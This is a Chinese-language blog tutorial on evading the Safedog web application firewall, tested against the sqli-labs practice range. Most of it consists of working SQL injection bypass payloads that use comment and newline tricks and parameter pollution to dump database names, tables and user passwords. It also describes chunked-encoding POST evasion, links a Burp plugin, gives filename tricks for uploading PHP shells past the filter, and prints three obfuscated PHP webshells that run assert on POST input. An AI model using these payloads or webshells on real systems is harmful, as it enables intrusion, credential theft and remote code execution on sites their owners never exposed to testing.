安全狗绕过

环境介绍

系统版本:win7
安全狗版本:4.0.28330
测试的靶场:sqlilabs

开始测试

最开始我们使用最初默认的配置规则来进行测试,我们使用的是sqllab的第二关数字型注入,不过字符型注入同样使用这种方法绕过。
and 1=1
我们打开sqllabs的第二关,我们输入and 1=1尝试访问,被拦截:

然后我们使用ord函数,ORD() 函数返回字符串第一个字符的ASCII值。
我们首先需要知道ord(0x0)和ord(0x1)返回的值:

知道了这些之后我们我们可以用函数来代替1=1进行测试

http://192.168.252.147/sqli-labs/Less-2/?id=1 and ord(0x1) --+


order by
首先我们输入order by 3--+来进行测试,被拦截

我们这里在order by之前添加无效的字符然后使用%0a来换行

http://192.168.252.147/sqli-labs/Less-2/?id=1 order /*|--|*/--+%20%0aby 3 --+


union select
我们用union select 1,2,3--+来进行测试,被拦截

我们使用内联注释加空语句加注释加换行来进行测试绕过

http://192.168.252.147/sqli-labs/Less-2/?id=-1 /*!union*/ /*!*/ --+1%0aselect 1,2,3 --+

数据查询

查询数据库:

http://192.168.252.147/sqli-labs/Less-2/?id=-1 /*!union*//*!*/--+1%0A%0ASELECT 1,2,group_concat(/*!schema_name*/) /*!from*/ information_schema.schemata--+*/%23


查询数据表:

http://192.168.252.147/sqli-labs/Less-2/?id=-1 /*!union*//*!*/--+1%0A%0ASELECT 1,2,group_concat(/*!table_name*/) /*!from*/ information_schema.tables where table_schema=0x7365637572697479--+*/%23


查字段名:

http://192.168.252.147/sqli-labs/Less-2/?id=-1 /*!union*//*!*/--+1%0A%0ASELECT 1,2,group_concat(/*!column_name*/) /*!from*/ information_schema.columns where table_name=0x7573657273--+*/%23


查数据:

http://192.168.252.147/sqli-labs/Less-2/?id=-1 /*!union*//*!*/--+1%0A%0ASELECT 1,2,group_concat(/*!username,password*/) /*!from*/ users--+*/%23


方法二:

http://192.168.252.147/sqli-labs/Less-2/?id=-1 union%23a%0Aselect1,2,3#

这里%23是注释符号,%0a是换行,所以注释以后换了行,后面的select还是可以使用的,而且union和select还没有连在一起绕过检测。
方法三:

?id=1/**&id=-1%20union%20select%201,2,3%23*/

安全狗匹配的时候匹配的是1/**-1 union select 1,2,3#*/或1/**&id=-1%20union%20select%201,2,3%23*/其中符号起到注释作用,正常情况下没有执行,安全直接忽略,但是参数污染导致接收的真实数据是-1 union select 1,2,3#*/,所以能正常执行sql语句。

POST格式提交绕过

在post绕过汇总,有一种是将数据进行分块传输的方式,如果需要使用这种方式,我们需要在http头中添加一个参数:Transfer-Encoding: chunked,然后我们将需要传输的数据进行分段来传输。
正常情况下,我们使用POST提交如下内容会被拦截

passwd=1&uname=admin' order by 2#


当我们使用分段传输的时候,就可以轻松绕过:
首先我们需要在http头中添加字段Transfer-Encoding: chunked,然后分块传输数据,格式如下:

2
pa
3
ssw
1
d
3
=1&
1
u
2
na
2
me
3
=ad
1
.....

为了省空间,部分内容省略了,原理就是最开始先写下一行中索要post传递参数字符的个数,然后在下一行中写入指定个数的字符,最终会将这些字符分块传输然后组合成一个整体,从而绕waf。
不过手工来写比较麻烦,我们可以使用一个burp的插件,可以自动帮我们转换成分块传出的格式,而且会自动做混淆,下载地址:
https://pan.baidu.com/s/1DjowDbdK2Eler26hhBIG2A 提取码:5vhg
添加到burp中后,使用位置如下:

其中Encoding是转换为分块传输格式,Decoding是转换为原来的格式,Config可以配置分块传输每一块的长度等。效果如下:

其中数字后面的分号为注释符号,接着是来及数据,是为了防止正常分块传输也被拦截。

上传绕过

首先我们测试上传一个php文件,直接进行了拦截,当我们对文件名换行,即可成功上传。

我们还可以在这里地方做文章,我们让filename后面的单个等号写为两个,可以绕过:

接着我们这次写两个filename将第一个和第二个用分号隔开filename;filename=shell.php

我们还可以用垃圾字符填充文件名,当填充的垃圾字符个数超过9000多个的时候,就可以绕过

上传绕过中,不但上传的时候需要绕过,还有我们的webshell也需可以绕过才可以,下面我们给出三个可以绕过的小马:
NO.1

<?php 
    $a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']);
?>

NO.2

<?php 
    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
    $b='_'.'P'.'O'.'S'.'T';
    $c=$$b;
    $a($c['x']);
?>

NO.3

<?php
function test($a,$b){
    array_map($a,$b);
}
test(assert,array($_POST['cmd']));
?>

参考链接:https://xz.aliyun.com/t/7572

最后修改:2020 年 08 月 26 日
如果觉得我的文章对你有用,请随意赞赏